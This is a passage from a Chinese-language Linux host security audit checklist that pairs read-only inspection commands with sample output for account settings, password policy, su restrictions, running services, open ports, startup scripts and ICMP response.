本例输出说明只有root帐号uid=0

 

3.3 系统缺省用户(组)信息检查

3.3.1    说明:

得到系统缺省用户(组)

3.3.2    检查方法:

cat /etc/passwd

3.3.3    结果分析方法:

查看是否存在系统缺省帐号,如:

lp, sync, shutdown, halt, news, uucp, operator, games, gopher等

3.4 系统帐号shell变量信息检查

3.4.1    说明:

得到系统帐号shell变量

3.4.2    检查方法:

cat /etc/passwd

3.4.3    结果分析方法:

# cat /etc/passwd

看最后域是否是/sbin/nologin或/dev/null

3.5 passwd、shadow文件检查

3.5.1    说明:

检查系统passwd、shadow文件,确保系统中每个用户都有密码,并且密码被shadow。

3.5.2    检查方法:

pwck

3.5.3    结果分析方法:

# pwck

 

3.6 系统缺省密码最短长度检查

3.6.1    说明:

得到系统缺省密码最短长度

3.6.2    检查方法:

cat /etc/login.defs | grep PASS_MIN_LEN

3.6.3    结果分析方法:

# cat /etc/login.defs | grep PASS_MIN_LEN

#       PASS_MIN_LEN    Minimum acceptable password length.

PASS_MIN_LEN    5

3.7 系统自动注销帐号登录检查

3.7.1    说明:

得到超时后系统自动注销帐号登录信息

3.7.2    检查方法:

cat /etc/profile | grep TMOUT

3.7.3    结果分析方法:

# cat /etc/profile | grep TMOUT

3.7.4    备注:

本例输出表示并未对自动注销帐号登录作设置

 

3.8 root PATH环境变量检查

3.8.1    说明:

得到root PATH环境变量,是否包含当前目录“.”

3.8.2    检查方法:

echo $PATH | grep “:.”

3.8.3    结果分析方法:

# echo $PATH | grep “:.”

3.8.4    备注:

此检查有一定的局限性,只检查了当前用户的路径设置。

 

3.9 禁止使用ftp的帐号检查

3.9.1    说明:

得到禁止使用ftp的帐号

3.9.2    检查方法:

cat /etc/ftpusers

3.10    结果分析方法:

# cat /etc/ftpusers

 

3.11    允许su为root的帐号信息检查

3.11.1   说明:

检查是否允许任何人su为root

3.11.2   检查方法:

vi /etc/pam.d/su

3.11.3   结果分析方法:

# vi /etc/pam.d/su

auth sufficient /lib/security/pam_rootok.so

auth required /lib/security/pam_wheel.so group=wheel

3.11.4   备注:

本例输出表示只有wheel组中的用户才可以允许su为root

3.11.5   bash shell保存少量命令检查

3.11.6   说明:

得到bash shell能保存的命令条数

3.11.7   检查方法:

cat /etc/profile | grep HISTSIZE

3.11.8   结果分析方法:

# cat /etc/profile | grep HISTSIZE

HISTSIZE=1000

3.12    用户对主机使用的限制检查

3.12.1   说明:

得到系统限制用户对主机使用的信息

3.12.2   检查方法:

cat /etc/security/limits.conf

3.12.3   结果分析方法:

# cat /etc/security/limits.conf

# /etc/security/limits.conf

#

#Each line describes a limit for a user in the form:

#

#<domain>        <type>  <item>  <value>

#

#Where:

#<domain> can be:

#        - an user name

#        - a group name, with @group syntax

#        - the wildcard *, for default entry

#

#<type> can have the two values:

#        - "soft" for enforcing the soft limits

#        - "hard" for enforcing hard limits

#

#<item> can be one of the following:

#        - core - limits the core file size (KB)

#        - data - max data size (KB)

#        - fsize - maximum filesize (KB)

#        - memlock - max locked-in-memory address space (KB)

#        - nofile - max number of open files

#        - rss - max resident set size (KB)

#        - stack - max stack size (KB)

#        - cpu - max CPU time (MIN)

#        - nproc - max number of processes

#        - as - address space limit

#        - maxlogins - max number of logins for this user

#        - priority - the priority to run user process with

#        - locks - max number of file locks the user can hold

#

#<domain>      <type>  <item>         <value>

#

 

#*               soft    core            0

#*               hard    rss             10000

#@student        hard    nproc           20

#@faculty        soft    nproc           20

#@faculty        hard    nproc           50

#ftp             hard    nproc           0

#@student        -       maxlogins       4

 

# End of file

3.12.4   备注:

本例输出表示系统并未限制用户对主机的使用(进程使用、尝试登录次数等)

 

3.13    系统是否允许guest或匿名连接信息检查

3.13.1   说明:

查看系统是否允许guest或匿名连接

3.13.2   检查方法:

cat /etc/ftpaccess | grep class

3.13.3   结果分析方法:

# cat /etc/ftpaccess | grep class

# User classes...

class   all   real,guest,anonymous  *

4       网络与服务

4.1 系统运行进程检查

4.1.1    说明:

得到系统运行进程

4.1.2    检查方法:

ps -aux

4.1.3    结果分析方法:

# ps -aux

 

4.1.4    备注:

计算系统运行进程个数:# ps –aux | wc -l

 

4.2 系统打开端口信息检查

4.2.1    说明:

得到系统打开的端口信息

4.2.2    检查方法:

netstat -an

4.2.3    结果分析方法:

# netstat -an

  

4.3 系统服务信息检查

4.3.1    说明:

得到系统服务信息

4.3.2    检查方法:

lsof -i       netstat -at

4.3.3    结果分析方法:

# lsof -i

 

netstat -at

 

4.3.4    备注:

如果系统未安装lsof,使用netstat –a --ip:

# netstat -a --ip

 

4.4 xinetd/inetd服务信息检查

4.4.1    说明:

查看系统是否运行xinetd/inetd服务

4.4.2    检查方法:

ps -aux | grep inetd    ps -aux | grep xinetd

4.4.3    结果分析方法:

# ps -aux | grep xinetd

root   383  0.0  0.6  2088  832 ?        S    20:06   0:00 xinetd -stayalive

4.4.4    备注:

本例输出表示系统运行xinetd,

# cd /etc/xinetd.d

# grep “disable” ./*

./chargen:      disable = yes

./chargen-udp:  disable = yes

./cvs:  disable = no

./daytime:      disable = yes

./daytime-udp:  disable = yes

./echo: disable = yes

./echo-udp:     disable = yes

./rsync:        disable = yes

./servers:      disable = yes

./services:     disable = yes

./time: disable = yes

./time-udp:     disable = yes

./wu-ftpd:      disable = yes

输出中disable=no表示xinetd启动cvs进程,执行netstat -a进行确认。

# netstat -a

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address           Foreign Address         State     

tcp   0      0 *:cvspserver            *:*                     LISTEN    

 

4.5 /etc/hosts.conf信息检查

4.5.1    说明:

得到系统解析地址的信息

4.5.2    检查方法:

/etc/host.conf

4.5.3    结果分析方法:

# cat /etc/host.conf

order hosts,bind

4.5.4    备注:

本例输出表示先通过hosts文件解析,然后通过DNS解析。

 

4.6 /etc/hosts.equiv信息检查

4.6.1    说明:

查看是否存在/etc/hosts.equiv文件

4.6.2    检查方法:

ls -al /etc/hosts.equiv

4.6.3    结果分析方法:

# ls -al /etc/hosts.equiv

4.7 /etc/rc.d/init.d自动运行脚本检查

4.7.1    说明:

查看系统开机自动运行的脚本

4.7.2    检查方法:

ls -al /etc/rc.d/init.d

4.7.3    结果分析方法:

# ls -al /etc/rc.d/init.d/

total 208

drwxr-xr-x    2 root         4096 Nov 13 14:12 ./

drwxr-xr-x   10 root         4096 May 10 22:12 ../

-rwxr-xr-x    1 root         2633 Aug 23  2002 aep1000*

-rwxr-xr-x    1 root          941 Aug 28  2002 anacron*

-rwxr-xr-x    1 root         1458 Jun 23  2002 apmd*

-rwxr-xr-x    1 root         1176 Jul 25  2002 atd*

-rwxr-xr-x    1 root         9435 Aug 27  2002 autofs*

-rwxr-xr-x    1 root         2455 Aug 23  2002 bcm5820*

-rwxr-xr-x    1 root         1095 Aug 24  2002 cpqarrayd*

-rwxr-xr-x    1 root         1316 Jul 20  2002 crond*

-rwxr-xr-x    1 root        10068 Jul 14  2002 functions*

-rwxr-xr-x    1 root         1541 Jun 24  2002 gpm*

-rwxr-xr-x    1 root         5075 Aug 14  2002 halt*

-rwxr-xr-x    1 root         2366 Sep  5  2002 httpd*

-rwxr-xr-x    1 root         5636 Aug  7  2002 iptables*

-rwxr-xr-x    1 root         1152 Jul  9  2002 irda*

-rwxr-xr-x    1 root         1084 Aug  3  2002 kdcrotate*

-rwxr-xr-x    1 root         1347 Sep  5  2002 keytable*

-rwxr-xr-x    1 root          481 Jul  6  2002 killall*

-rwxr-xr-x    1 root         1919 Sep  3  2002 kudzu*

-rwxr-xr-x    1 root         1539 Aug 24  2002 microcode_ctl*

-rwxr-xr-x    1 root         5024 Jun 26  2002 netfs*

-rwxr-xr-x    1 root         6402 Jul 10  2002 network*

-rwxr-xr-x    1 root         4522 Aug  1  2002 nfs*

-rwxr-xr-x    1 root         2286 Aug  1  2002 nfslock*

-rwxr-xr-x    1 root         2066 Sep  6  2002 nscd*

-r-xr-xr-x    1 root         4596 Aug 31  2002 pcmcia*

-rwxr-xr-x    1 root         1901 Aug  7  2002 portmap*

-rwxr-xr-x    1 root         1516 Jun 26  2002 random*

-rwxr-xr-x    1 root         2211 Jun 26  2002 rawdevices*

-rwxr-xr-x    1 root         1782 Sep 10  2002 rhnsd*

-rwxr-xr-x    1 root         1260 Sep  3  2002 saslauthd*

-r-x------    1 root          177 Nov 13 14:12 secuve_file*

-rwxr-xr-x    1 root         2362 Aug 30  2002 sendmail*

-rwxr-xr-x    1 root         1175 Jul 10  2002 single*

-rwxr-xr-x    1 root          627 Aug 24  2002 smartd*

-rwxr-xr-x    1 root         1160 Sep  1  2002 snmpd*

-rwxr-xr-x    1 root         1131 Sep  1  2002 snmptrapd*

-rwxr-xr-x    1 root         2647 Aug 14  2002 sshd*

-rwxr-xr-x    1 root         1369 Jun 24  2002 syslog*

-rwxr-xr-x    1 root         2407 Aug 16  2002 xinetd*

-rwxr-xr-x    1 root         2501 Jun 24  2002 ypbind*

4.8 开放端口与进程信息检查

4.8.1    说明:

查看某个开放端口由哪个进程打开

4.8.2    检查方法:

假设要查看的开放端口是2401,执行fuser -n tcp 2401,返回的进程ID为pid,

再执行ps -aux | grep pid。

4.8.3    结果分析方法:

# fuser -n tcp 2401

2401/tcp:              383

# ps -aux | grep 383

root   383  0.0  0.6  2088  832 ?        S    20:06   0:00 xinetd -stayalive

4.8.4    备注:

本例输出表示2401端口由xinetd进程打开。

此检查可以检测系统开放的不明端口。

 

4.9 /etc/rc.d/rc[0-6].d脚本信息检查

4.9.1    说明:

查看/etc/rc.d/rc[0-6].d下运行的脚本

4.9.2    检查方法:

ls -al /etc/rc.d/rc0.d

ls -al /etc/rc.d/rc6.d

4.9.3    结果分析方法:

# ls -al rc3.d/

total 8

drwxr-xr-x    2 root         4096 Nov 13 14:21 ./

drwxr-xr-x   10 root         4096 May 10 22:12 ../

lrwxrwxrwx  1 root      28 Nov 13 14:12 BS99file -> /etc/rc.d/init.d/secuve_file*

lrwxrwxrwx  1 root           15 Oct 29  2002 K03rhnsd -> ../init.d/rhnsd*

lrwxrwxrwx  1 root           17 Oct 29  2002 K05anacron -> ../init.d/anacron*

lrwxrwxrwx  1 root           13 Oct 29  2002 K05atd -> ../init.d/atd*

lrwxrwxrwx  1 root           18 Oct 29  2002 K05keytable -> ../init.d/keytable*

lrwxrwxrwx  1 root         19 Oct 29  2002 K05saslauthd -> ../init.d/saslauthd*

lrwxrwxrwx    1 root           13 Oct 29  2002 K15gpm -> ../init.d/gpm*

lrwxrwxrwx    1 root           13 Oct 29  2002 K20nfs -> ../init.d/nfs*

lrwxrwxrwx    1 root           14 Oct 29  2002 K24irda -> ../init.d/irda*

lrwxrwxrwx  1 root          18 Oct 29  2002 K30sendmail -> ../init.d/sendmail*

lrwxrwxrwx    1 root           16 Oct 29  2002 K45smartd -> ../init.d/smartd*

lrwxrwxrwx    1 root           15 Oct 29  2002 K50snmpd -> ../init.d/snmpd*

lrwxrwxrwx  1 root       19 Oct 29  2002 K50snmptrapd -> ../init.d/snmptrapd*

lrwxrwxrwx    1 root           15 Oct 29  2002 K60crond -> ../init.d/crond*

lrwxrwxrwx  1 root           17 Oct 29  2002 K70aep1000 -> ../init.d/aep1000*

lrwxrwxrwx  1 root         17 Oct 29  2002 K70bcm5820 -> ../init.d/bcm5820*

lrwxrwxrwx    1 root           16 Oct 29  2002 K72autofs -> ../init.d/autofs*

lrwxrwxrwx    1 root           14 Oct 29  2002 K74apmd -> ../init.d/apmd*

lrwxrwxrwx    1 root           15 Oct 29  2002 K75netfs -> ../init.d/netfs*

lrwxrwxrwx   1 root           17 Oct 29  2002 K86nfslock -> ../init.d/nfslock*

lrwxrwxrwx  1 root           17 Oct 29  2002 K87portmap -> ../init.d/portmap*

lrwxrwxrwx   1 root           18 Oct 29  2002 K92iptables -> ../init.d/iptables*

lrwxrwxrwx    1 root           15 Oct 29  2002 K95kudzu -> ../init.d/kudzu*

lrwxrwxrwx    1 root           16 Oct 29  2002 K96pcmcia -> ../init.d/pcmcia*

lrwxrwxrwx 1 root   23 Oct 29  2002 S00microcode_ctl -> ../init.d/microcode_ctl*

lrwxrwxrwx  1 root           17 Oct 29  2002 S10network -> ../init.d/network*

lrwxrwxrwx  1 root           16 Oct 29  2002 S12syslog -> ../init.d/syslog*

lrwxrwxrwx  1 root           16 Oct 29  2002 S20random -> ../init.d/random*

lrwxrwxrwx    1 root           14 Oct 29  2002 S55sshd -> ../init.d/sshd*

lrwxrwxrwx 1 root       20 Oct 29  2002 S56rawdevices -> ../init.d/rawdevices*

lrwxrwxrwx    1 root           16 Oct 29  2002 S56xinetd -> ../init.d/xinetd*

lrwxrwxrwx    1 root           15 Oct 29  2002 S85httpd -> ../init.d/httpd*

lrwxrwxrwx    1 root           11 Oct 30  2002 S99local -> ../rc.local*

4.9.4    备注:

以S开头的为该运行级别下运行的脚本

 

4.10    系统ping响应信息检查

4.10.1   说明:

查看系统是否响应ICMP请求

4.10.2   检查方法:

cat /proc/sys/net/ipv4/icmp_echo_ignore_all

或从同网段的另一台机器ping该主机

4.10.3   结果分析方法:

# cat /proc/sys/net/ipv4/icmp_echo_ignore_all

0

4.10.4   备注:

本例输出表示系统响应ICMP请求

 

4.11    系统服务运行等级信息检查

4.11.1   说明:

查看系统服务运行等级